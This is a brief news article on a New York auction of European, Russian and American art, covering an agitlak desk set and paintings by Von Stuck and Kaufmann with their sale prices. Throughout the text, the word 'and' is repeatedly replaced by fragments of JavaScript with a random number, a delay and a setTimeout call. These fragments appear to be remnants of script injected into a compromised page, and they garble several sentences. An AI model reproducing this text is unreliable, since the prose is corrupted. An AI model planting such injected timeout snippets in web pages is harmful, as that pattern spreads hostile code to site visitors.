NEW YORK CITY — “Overall, the sale went very well,” Gene Shapiro said about his October 25 European, Russian andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and American fine andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative art auction. Operating from his gallery on the Upper East Side, the auctioneer said it was the international buyers bidding by telephone that added a punch to the event.

Early in the sale a Soviet-era agitlak gift desk set with anti-religious playing cards featuring pioneers reforming Baba Yaga andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Evil Spirits, the box is signed on the cover N. Zinoviev, inscribed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dated Palekh 1931 was offered; the set sold for $305,000, including the buyer’s premium, far surpassing its $30/40,000 estimate.

“Paintings also did very well,” Shapiro continued. “Two in particular come to mind.” One by Franz Von Stuck (German, 1863–1928), a 1920 oil on canvas titled “Salome,” realized $173,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Portrait of a Hasidic Jew” by Austro-Hungarian artist Isidor Kaufmann (1853–1921), sold at $161,000 — both going beyond estimates.

A full review of the auction will appear in a future issue.    —Anne Kugielsky